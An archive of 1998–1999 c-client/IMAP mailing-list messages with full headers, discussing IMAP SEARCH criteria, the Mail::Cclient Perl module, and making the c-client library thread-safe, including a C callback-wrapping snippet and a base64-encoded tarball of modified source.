3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >> And this was not a problem. Reads/writes were, and call-backs costed much >> more. >I don't see how callbacks could be a problem? As I said before, it can't be explained in two words (same goes for read/write nonsafety). I'll talk on that later. Give me some time to recreate the problems, then with God's help I'll remember the solutions... They were a little bit more than_r adiing_r something_r to_r everything_r... Alex From pinedev@shivax2.cac.washington.edu Tue Dec 15 00:11:29 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Dec 1998 00:11:28 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA07931 for ; Tue, 15 Dec 1998 00:11:25 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA06065; Tue, 15 Dec 1998 00:11:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id AAA26642; Tue, 15 Dec 1998 00:10:24 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id AAA19082 for ; Tue, 15 Dec 1998 00:09:32 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA30804 for ; Tue, 15 Dec 1998 00:09:32 -0800 Received: from limmat (limmat.switch.ch [130.59.4.30]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA06059; Tue, 15 Dec 1998 00:09:18 -0800 Received: from limmat.switch.ch (actually sunmp) by limmat with smtpL; Tue, 15 Dec 1998 09:09:01 +0100 Message-Id: <4040.913709340@limmat.switch.ch> Date: Tue, 15 Dec 1998 09:09:00 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Marcel Parodi To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: Re: SEARCH HEADER Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Sender: parodi@switch.ch X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Thanks, Mark, for your explanations. [...] > Two things: first, use imap-4.5 instead of imap-4.4: > ftp://ftp.cac.washington.edu/mail/imap-4.5.BETA.tar.Z > imap-4.4 had a bug which broken SEARCH HEADER. I didn't know 4.5.BETA is available. Where do you announce new releases? Do you think it's safe to use this BETA or should I wait for the final? [...] > > I found the function mail_newsearchheader in mail.c which could be useful > > for this purpose, but strange enough it's not used at all in the whole code. > > That's because you call it, in the course of building your SEARCHPGM. Look at > imapd.c to see how to do this. I've been looking at mtest which still uses mail_search(). > The mail_search() jacket will never be extended to cover IMAP4 search > criteria. It is for compatibility with old softwareonly. Use the new > mail_search_full() interface instead. Could you explain me the reason for this design decision? Now that mail_search() should not be used any more, the code to build the searchpgm must be rewritten in every application. It would be rather easy to make mail_search() available as a perl command in Mail::Cclient, but now it's necessary to put this "jacket code" into the interface definition in Cclient.xs. Do you know the people working on Mail::Cclient? Or are you involved in its development yourself? Regards, Marcel. From pinedev@shivax2.cac.washington.edu Tue Dec 15 00:21:02 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Dec 1998 00:21:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA15204 for ; Tue, 15 Dec 1998 00:20:57 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA06122; Tue, 15 Dec 1998 00:20:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id AAA08082; Tue, 15 Dec 1998 00:20:01 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id AAA24678 for ; Tue, 15 Dec 1998 00:19:43 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA21996 for ; Tue, 15 Dec 1998 00:19:42 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (brit@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA26063 for ; Tue, 15 Dec 1998 00:19:40 -0800 Message-Id: Date: Tue, 15 Dec 1998 00:14:54 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Marcel Parodi Cc: c-client@CAC.Washington.EDU Subject: Re: SEARCH HEADER In-Reply-To: <4040.913709340@limmat.switch.ch> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 15 Dec 1998 09:09:00 +0100, Marcel Parodi wrote: > I didn't know 4.5.BETA is available. Where do you announce new releases? > Do you think it's safe to use this BETA or should I wait for the final? imap-4.5 is almost in final form, and I think that it is safe to use. It will be finalized when Pine 4.10 is released. Just be sure to pick up the final version when it is released (it'll be announced on the IMAP and c-client lists). > I've been looking at mtest which still uses mail_search(). mtest should considered to be nothing more than a most basic possible program. It is certainly not an example of how to do complex c-client operations. > > The mail_search() jacket will never be extended to cover IMAP4 search > > criteria. It is for compatibility with old softwareonly. Use the new > > mail_search_full() interface instead. > Could you explain me the reason for this design decision? IMAP4 searches are much more complex. It's much easier to build a searchpgm than it is to generate IMAP4 format SEARCH criteria. In general, a user program does not want to type in SEARCH criteria either. From pinedev@shivax2.cac.washington.edu Fri Dec 18 10:47:21 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 18 Dec 1998 10:47:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA32407 for ; Fri, 18 Dec 1998 10:47:19 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA25739; Fri, 18 Dec 1998 10:02:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA11059; Fri, 18 Dec 1998 10:00:30 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA14252 for ; Fri, 18 Dec 1998 09:59:40 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA17091 for ; Fri, 18 Dec 1998 09:59:29 -0800 Received: from oxmail.ox.ac.uk (oxmail4.ox.ac.uk [163.1.2.33]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA21266 for ; Fri, 18 Dec 1998 09:59:20 -0800 Received: from sable.ox.ac.uk ([163.1.2.4]) by oxmail.ox.ac.uk with esmtp (Exim 2.05 #1) id 0zr4BE-0000Yx-00; Fri, 18 Dec 1998 17:59:12 +0000 Received: from mbeattie by sable.ox.ac.uk with local (Exim 2.10 #1) id 0zr4BE-0000rC-00; Fri, 18 Dec 1998 17:59:12 +0000 Message-Id: Date: Fri, 18 Dec 1998 17:59:12 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Malcolm Beattie To: parodi@switch.ch (Marcel Parodi) Cc: c-client@cac.washington.edu Subject: Re: SEARCH HEADER In-Reply-To: <4040.913709340@limmat.switch.ch> from Marcel Parodi at "Dec 15, 98 09:09:00 am" MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Marcel Parodi writes: > Do you know the people working on Mail::Cclient? Or are you involved in its > development yourself? I wrote Mail::Cclient and my name and email address are included at the bottom of the man page/pod page that it installs. Somebody who has need of mail_search is already working on including it and I will be looking at his patches with a view to including them. --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services From pinedev@shivax2.cac.washington.edu Wed Jan 13 12:22:56 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Jan 1999 12:22:55 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA20041 for ; Wed, 13 Jan 1999 12:22:54 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA01631; Wed, 13 Jan 1999 12:22:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA26115; Wed, 13 Jan 1999 12:14:43 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA22330 for ; Wed, 13 Jan 1999 12:13:29 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA10312 for ; Wed, 13 Jan 1999 12:13:28 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA01395 for ; Wed, 13 Jan 1999 12:12:45 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id PAA19139; Wed, 13 Jan 1999 15:04:52 -0500 Message-Id: <00fc01be3f31$0c77ae70$2601a8c0@ashvedov.voicerite.com> Date: Wed, 13 Jan 1999 15:12:29 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "IMAP discussion group" , "Narendra Gupta" Subject: Re: On multithreaded cclient MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00F9_01BE3F07.22AD3450" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_00F9_01BE3F07.22AD3450 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit >Alex, > >I also want to use c-client to open connections to multiple email servers, at the same time. I spawn a >seperate thread for each such connection. Of course >the first connection goes through, but the second connection fails. > >On a little further examination of the code I found that c-client has some >static >variables, and therefore may not be thread safe. It seems that you have >already >identified these varaibles and have put a mutex arround them. > >Will it be possible for you to give me your fixes, and let me know what I >should >know, before I use them? > >I have not looked at the c-client code at all, I just use their library. > >Narendra K. Gupta > >AT&T Consumer Labs Ph: 973-236-6472 >Room 1K28, Bldg 104 email:gupta@ulysses.att.com >180 Park Avenue >Florham Park NJ 07932 Actually, I explained the ideas in my previous letters. Several comments to what I copy from actual code below. A. I'm not 100% sure that I pulled out all non-thread safe things; what I did was appr. what you tried to do: "if it's not working, go change until it works" kind of job. Still, 3 threads worked together with our 2 different IMAP servers simultaneously for a couple of hundreds cycles, so the delta between real persentage and 100 must be pretty small. B. I used AIX and never even thought about porting the code. C. Earlier I mentioned 3 items that prevent cclient from being thread-safe. Of them: Item 1 (gethostbyname) is absolutely clear. Item 2 (tcp_unix module) would have been clear also, if I only remembered what global was so nasty. The only thing I advise you to do is to start (normal) cclient with some debugger and see who is the culprit. Vaguely remember that it was the socket FD, but I'm not sure at all. Item 3 (call-backs) is most difficult to explain. I work in computer telephony, where the user interface capabilities are much more limited than usual. Therefore some things that would have been bearable or even useful in a GUI-based stuff, are an absolute NO for a TUI. I noticed that sometimes call-back returns reasonable value (say, mail_open is non-NULL) while there's a warning in the log. This situation might be good for someone but not for me. That's why I had to add TWO globals and actually wrap all call-backed calls into something idiotic like: // globals: short GlobRC1, GlobRC2; // GlobRC1 - actual return code; GlobRC2 is to be set before each call MAILSTREAM Strim; short MailOpen(char *Mbx, long Debug) { GlobRC1=IMAP_SUCCESS; // for mm_log call-back GlobRC2=IMAP_MBX_OPEN_FAILURE; // loading the gun Strim=mail_open(Strim, Mbx, Debug ? OP_DEBUG : NIL); if (!Strim || GlobRC1 != IMAP_SUCCESS) return (GlobRC1 == IMAP_SUCCESS)?IMAP_MBX_OPEN_FAILURE:GlobRC1; else return IMAP_SUCCESS; } while in mm_log call-back - the only one that feels warnings! - I'm setting "reserved", prepared beforehand GlobRC2 to something I need IN CASE OF WARNING (not an error): void mm_log (char *string, long errflg) { char BB[LONG_ENOUGH+1]; if(strlen(string) > LONG_ENOUGH-20) string[LONG_ENOUGH-20]='\0'; switch ((short) errflg) { case NIL: ................................... case WARN: GlobRC1=GlobRC2; // report a warning break; ................................... } } I don't know whether it's really necessary in ALL calls (Marc sholud know this better), but I state that SOME calls do need such wrapping. Of course, this variant is not thread-safe, but I didn't implement even the dumbest solution for the return codes' criss-crossing in a call-back; if you are in the same kind of environment as me, you'll have to do it yourself. Hint: actually, it's simple (as it is in all three items): I would use thread-specific structures (in POSIX it's pthread_getspecific, pthread_getspecific and the like). I call them pseudoglobals. I did so in a multithreaded server I created and it's not only simple - you manually edit the code mostly in a mechanical manner - but also fast (!) - OS has to switch just ONE pointer for you! No downpayment, low fat, low chol, all natural! I stopped after a multiprocess (not multithreaded) IMAP client was completed and left call-backs for good. I tar/gzip all files that I changed. Absolutely ALL changes are marked by my initials (AMS) in comments, so you can just do a text search for AMS. Not ALL of the changes are thread-related; I didn't want to start rsh (and made that static), there are some other changes (boring syntax error in siglocal is corrected, for example). When I was pretending to be a developer, I put #undef THREAD - #define THREAD; sometimes, when I did not, I just commented the locks out - sorry. Enjoy! Alex Shvedov ------=_NextPart_000_00F9_01BE3F07.22AD3450 Content-Type: application/x-gzip; name="IMAP44LOCKED.tar.gz" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="IMAP44LOCKED.tar.gz" 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 